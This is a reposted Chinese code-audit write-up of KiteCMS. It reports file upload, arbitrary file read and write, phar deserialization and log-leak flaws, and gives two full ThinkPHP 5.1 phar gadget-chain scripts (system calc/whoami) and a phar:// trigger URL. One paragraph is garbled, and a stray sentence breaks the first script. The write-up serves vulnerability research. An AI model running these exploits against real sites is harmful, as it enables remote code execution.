PHP代码审计之kitecms(转发)

原文链接:https://xz.aliyun.com/t/12270#toc-0

PHP代码审计之kitecms

vghost / 2023-03-09 10:21:00 / 发表于辽宁 / 浏览数 1169 技术文章 技术文章 [ 顶(2)](javascript:) [ 踩(0)](javascript:)


环境搭建:

使用phpstudy进行搭建环境,然后进入install目录。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-V1GxaclL-1678672399382)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210029-33beb5c2-bdb1-1.png)]

然后输入数据库名和密码。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IjuoGsbj-1678672399383)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210040-3a8b30ce-bdb1-1.png)]

成功搭建好环境,然后进入后台页面。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J3LYNXHr-1678672399383)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210051-411c47ac-bdb1-1.png)]

代码审计:

1.文件上传漏洞

首先进入配置-上传,然后发现这里有图片限制类型。
我们继续对这里的文件上传进行代码分析。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OgMNlON0-1678672399383)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210122-535a6246-bdb1-1.png)]

接着看这里的上传后缀配置,这里路由中的 .html 后缀是thinkphp中开启了伪静态设置,实际上还是调用了 config() 方法。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4J9qYHjH-1678672399383)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210134-5a6c63b8-bdb1-1.png)]

这里通过Ajax判断前端的操作,通过 Request::param() 方法统一接收所有上传的参数.

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XTeMwTtI-1678672399384)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210224-7872d220-bdb1-1.png)]

从数据表中可以看出我们的数据已经写进去了。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xAiLi2Wp-1678672399384)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210244-84878efc-bdb1-1.png)]

我们通过抓包分析,发现后台的所有上传功能点都调用了 uploadFile() 方法,Tp的
话上传一般上传文件都会使用 Request::file 来进行接收。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rF4plafw-1678672399384)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210259-8d387fa2-bdb1-1.png)]

首先获取了config/site.php文件内容,并将两个数据中数组的内容通过array_merge合并。然后
获取了我们上面数据库中插入的内容,最后将配置文件与数据库中的内容进行合
并。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YgD3rTne-1678672399385)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210315-96dfd9ec-bdb1-1.png)]

刚开始发现框架还是具有一定的安全性的。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-m8LSgiP4-1678672399385)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210333-a1a7e482-bdb1-1.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-94atPF3E-1678672399385)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210342-a6f535f2-bdb1-1.png)]

最后就是upload()方法,上面的 filetype 是通过 Content-Type 中获取上传类型的,通过 check() 进行后缀以及大小的检测,其实在调试的过程中还发现了Tp自带的检测,但不影响我们最终的漏洞利用。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lXvdXS4I-1678672399385)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210353-ad7d4356-bdb1-1.png)]

最后调用Local下的 upload()方法 实现文件上传。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u5iSyyBf-1678672399385)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210402-b30450da-bdb1-1.png)]

漏洞复现:

这里的文件上传利用起来其实很简单,分为两步。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uELJAFPP-1678672399385)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210419-bd28ead0-bdb1-1.png)]
第一步通过配置将允许上传文件后缀写入数据库
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XN6cqIyL-1678672399385)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210434-c61a67fe-bdb1-1.png)]

第二步通过后台任意上传点上传后缀.php文件。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aPgs3oWu-1678672399386)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210443-cb4db762-bdb1-1.png)]

2.任意文件写入漏洞

全局搜索 file_put_contents() 函数,发现路径是admin模块下的也就是后
台功能,跟进该处看看代码是如何构造的。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aUM9evez-1678672399386)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210457-d372c676-bdb1-1.png)]

在代码中发现html参数是可控的,也就是 file_put_contents() 写入的内容是可控
的,前面的htmlspecialchars_decode()是将实体编码后的特殊字符还原,然后在继续
看$rootpath参数,向上回溯该参数,在这里最后拼接 $path 参数是通过 param() 传过来
的,所以这里 $path 可控。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eBFSE6qr-1678672399386)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210507-d9794d06-bdb1-1.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-i0neI3Ce-1678672399386)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210520-e180ac56-bdb1-1.png)]

漏洞复现:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5NnenhBX-1678672399386)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210949-818f0774-bdb2-1.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-p4NPxk0y-1678672399387)(https://xzfile.aliyuncs.com/media/upload/picture/20230308210959-875a11f8-bdb2-1.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BJbZmnd9-1678672399387)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211010-8e0ce5e8-bdb2-1.png)]

3.任意文件读取漏洞

全局搜索ile_get_contents() 方法,发现和上面的 file_put_contents() 在同一个方法
中。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IeFDHtVE-1678672399387)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211033-9bda5c5a-bdb2-1.png)]

这里可以看到,如果传参方式不是post()则会走else,去直接读取$rootpath,而我们通过上面的分析知
道这里的 $rootpath 中的 $path 是可控的,所以这里可以造成任意文件读取。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BE9FuT6M-1678672399387)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211046-a3843f3e-bdb2-1.png)]

漏洞复现:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CIYuxvJ2-1678672399387)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211059-ab32b260-bdb2-1.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lOnDFm9k-1678672399387)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211110-b202c968-bdb2-1.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tpkWmfCF-1678672399388)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211121-b886c082-bdb2-1.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UhoJFUgk-1678672399388)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211132-bf03679e-bdb2-1.png)]

4.phar反序列化漏洞1

Phar发序列化简介:

PHAR反序列化是指攻击者利用PHP Archive(PHAR)文件格式的反序列化漏洞,来执行恶意代码或者获取敏感数据。PHAR是PHP的一种自包含的归档文件格式,其可以存储多个PHP脚本文件和相关资源文件,并且可以被加载和执行。由于PHAR文件格式的缺陷,攻击者可以通过构造恶意数据,触发被反序列化的对象的构造函数并执行任意代码。因此,针对PHAR反序列化漏洞的攻击已经成为了网络安全领域中的一个热门话题。为了防止此类攻击,开发人员需要更新代码以修复漏洞,并加强输入数据的验证和过滤。

漏洞危害

攻击者可能利用PHAR反序列化漏洞来实现以下攻击:

  1. 远程代码执行:攻击者可以利用反序列化漏洞来远程执行任意PHP代码,并获取服务器完全控制权。
  2. 信息泄露:攻击者可以利用反序列化漏洞来读取服务器上的敏感数据,如数据库凭据、身份验证密码等。
  3. 篡改数据:攻击者可以利用反序列化漏洞改变服务器上的数据,如篡改网站内容、篡改数据库数据等。

为了避免成为PHAR反序列化攻击的受害者,我们可以采用以下措施:

  1. 及时更新代码中利用PHAR的库或插件,以修复已知的漏洞。
  2. 对用户输入的数据进行过滤和验证,确保输入的数据不包含恶意代码。
  3. 禁用不必要的反序列化对象,或者对反序列化对象进行严格控制。
  4. 使用PHP的反序列化检测工具,检查潜在的远程代码执行漏洞。
    然后我们接着往下看:
    可以很直观的看到这里的$dir参数完全可控,并且直接带入到 is_dir() 。条件已经满足,接下来只要
    在后台上传我们的phar文件即可。
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XpJlUUcY-1678672399388)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211208-d491107a-bdb2-1.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NguNBLJg-1678672399388)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211217-d9fadadc-bdb2-1.png)]

利用链使用了Tp5.1反序列化利用链,我们将下面的php文件生成
phar文件。

<?php
namespace think\process\pipes {
  class Windows
 {
    private $files;
    public function __construct($files)
   {
      $this->files = [$files];
   }
 }
}
namespace think\model\concern {
  trait Conversion
 {
 }
  trait Attribute
 {
    private $data;
    private $withAttr = ["v" => "system"];
    public function get()
   {
      $this->data = ["v" => "calc"];
   }
 }
这里生成我们的pahr文件,如果生成时报错了可以将php.ini配置文件中的phar.readonly选项设置为
Off就可以成功生成了。
}
namespace think {
  abstract class Model
 {
    use model\concern\Attribute;
    use model\concern\Conversion;
 }
}
namespace think\model{
  use think\Model;
  class Pivot extends Model
 {
    public function __construct()
   {
      $this->get();
   }
 }
}
namespace {
  $conver = new think\model\Pivot();
  $a = new think\process\pipes\Windows($conver);
  @unlink("phar.phar");
  $phar = new Phar("phar.phar"); //后缀名必须为phar
  $phar->startBuffering();
  $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
  $phar->setMetadata($a); //将自定义的meta-data存入manifest
  $phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
  $phar->stopBuffering();
}
?>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lFVXZjUJ-1678672399388)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211304-f5c48f56-bdb2-1.png)]

发现 metadata 部分已经成功序列化并写到文件中。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-30Bdoq3q-1678672399388)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211313-fafc5c7e-bdb2-1.png)]

漏洞复现:

如上我们生成了phar.phar文件,我们将文件后缀改为.png就可以成功将文件上传。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FlVjPMgI-1678672399389)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211333-071778cc-bdb3-1.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ooz1HqkM-1678672399389)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211345-0e100a54-bdb3-1.png)]

由于phar反序列化是不限制后缀类型的,只要可以使用phar协议即可解析,我们直接利用上面的漏
洞点进行尝试。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LxvPjiuh-1678672399389)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211356-14a04a28-bdb3-1.png)]

5.日志敏感信息泄露

查看配置文件(/config/log.php),发现默认开启了日志记录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nWFCh9VS-1678672399389)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211424-254df320-bdb3-1.png)]

最关键的点在:该系统在config/app.php中开启了调试模式,
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-R3JtGhti-1678672399389)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211436-2cb95e06-bdb3-1.png)]
以当日志写入开启且 app_debug 调试模式开启时,我们的操作、SQL执行语句、流量等信息都会被记录在日志文件中。所以在当上述条件满足时就会通过日志文件造成信息泄露。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5IJBURHI-1678672399390)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211501-3b9eb89e-bdb3-1.png)]

漏洞复现:

我们访问/runtime/log目录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Qx5fgR4J-1678672399390)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211514-431a7bf8-bdb3-1.png)]
然后使用burpsuite进行请求:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yVljMfLK-1678672399390)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211528-4b986600-bdb3-1.png)]
发现修改日期就可以获取到不同日子的log信息。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VPH0NBaN-1678672399390)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211538-517190ba-bdb3-1.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3zOoB46W-1678672399390)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211552-59f466cc-bdb3-1.png)]

6.任意文件上传第2处

进入application/member/controller/Upload.php,发现前台注册个用户后也有个文件上传的功能,然后对其代码
进行分析。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YkEqc61v-1678672399391)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211609-63d55b06-bdb3-1.png)]

发现这个CMS在处理文件上传的时候,基本都是这三行代码进行控制:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MGJd87W3-1678672399391)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211621-6b4f801e-bdb3-1.png)]

跟进一下upload方法就会发现。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Xds2Ksra-1678672399391)(https://xzfile.aliyuncs.com/media/upload/picture/20230308213409-e7bbcffc-bdb5-1.png)]

漏洞复现:

进入会员中心,然后进行发布信息,发现有2处上传点。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6CMooBgC-1678672399391)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211638-758d53b2-bdb3-1.png)]
然后修改png文件为.php,成功进行上传。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KkIaqTzc-1678672399391)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211648-7b9e3834-bdb3-1.png)]
接着成功获取到phpinfo信息。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LvLCvFvH-1678672399391)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211656-806a8bc4-bdb3-1.png)]

7.phar反序列化漏洞2

全局搜索is_dir()方法,然后发现scanfile()方法调用了这个方法。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zOmnhxed-1678672399392)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211713-8a497a88-bdb3-1.png)]

发现在get请求中传入$dir,然后直接一个is_dir成功phar反序列化。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SHMaMH5B-1678672399392)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211723-8ff4990e-bdb3-1.png)]

漏洞复现:

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = [$files];
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
    }

    trait Attribute
    {
        private $data;
        private $withAttr = ["lin" => "system"];

        public function get()
        {
            $this->data = ["lin" => "whoami"];
        }
    }
}

namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}

namespace {

    $conver = new think\model\Pivot();
    $a = new think\process\pipes\Windows($conver);


    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($a); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
    $phar->stopBuffering();
}
?>

改后缀为png然后上传:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-loPFGHlI-1678672399392)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211827-b625e04c-bdb3-1.png)]

访问:http://127.0.0.1/admin/admin/scanFilesForTree?dir=phar://./upload/20230308/1c57fd5e8abbd8ce9e6715c28227a95f.png

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cqpE6LYT-1678672399392)(https://xzfile.aliyuncs.com/media/upload/picture/20230308211849-c3994cb4-bdb3-1.png)]

8.phar反序列化漏洞3

进入application/admin/controller/Upload.php,发现uploadFile方法。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GuggsEH0-1678672399392)(https://xzfile.aliyuncs.com/media/upload/picture/20230308212003-ef5d9a1c-bdb3-1.png)]

跟进 u p l o a d O b j − > u p l o a d 方法 [ [ 外链图片转存失败 , 源站可能有防盗链机制 , 建议将图片保存下来直接上传 ( i m g − R h p l X R p 8 − 1678672399392 ) ( h t t p s : / / x z f i l e . a l i y u n c s . c o m / m e d i a / u p l o a d / p i c t u r e / 20230308212012 − f 4 c c 3206 − b d b 3 − 1. p n g ) ] ] ( h t t p s : / / x z f i l e . a l i y u n c s . c o m / m e d i a / u p l o a d / p i c t u r e / 20230308212012 − f 4 c c 3206 − b d b 3 − 1. p n g ) 发现 uploadObj->upload方法 [[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhplXRp8-1678672399392)(https://xzfile.aliyuncs.com/media/upload/picture/20230308212012-f4cc3206-bdb3-1.png)]](https://xzfile.aliyuncs.com/media/upload/picture/20230308212012-f4cc3206-bdb3-1.png) 发现 uploadObj>upload方法[[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(imgRhplXRp81678672399392)(https://xzfile.aliyuncs.com/media/upload/picture/20230308212012f4cc3206bdb31.png)]](https://xzfile.aliyuncs.com/media/upload/picture/20230308212012f4cc3206bdb31.png)发现this->uploadHandler是这样来的:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-h60wetgD-1678672399393)(https://xzfile.aliyuncs.com/media/upload/picture/20230308212049-0b1d7aa6-bdb4-1.png)]
默认是local,当然这个配置也可以后台更改。
因此跟进一下app\common\model\upload\driver\local的upload方法,位于application/common/model/upload/driver/Local.php:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CbQNWL6z-1678672399393)(https://xzfile.aliyuncs.com/media/upload/picture/20230308212059-10d6319a-bdb4-1.png)]

漏洞复现:

先后台修改一下配置。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cS6nkrhf-1678672399394)(https://xzfile.aliyuncs.com/media/upload/picture/20230308212110-17c2c91e-bdb4-1.png)]
然后修改使得$this->config[‘upload_path’]为phar。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Roh4yqBd-1678672399394)(https://xzfile.aliyuncs.com/media/upload/picture/20230308212122-1ef58faa-bdb4-1.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AlpeVl7X-1678672399394)(https://xzfile.aliyuncs.com/media/upload/picture/20230308212139-28c109ce-bdb4-1.png)]

REF
https://wx.zsxq.com/dweb2/index/topic_detail/812454251145212
https://blog.csdn.net/rfrder/article/details/117818074
https://blog.51cto.com/u_15847702/5800894

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值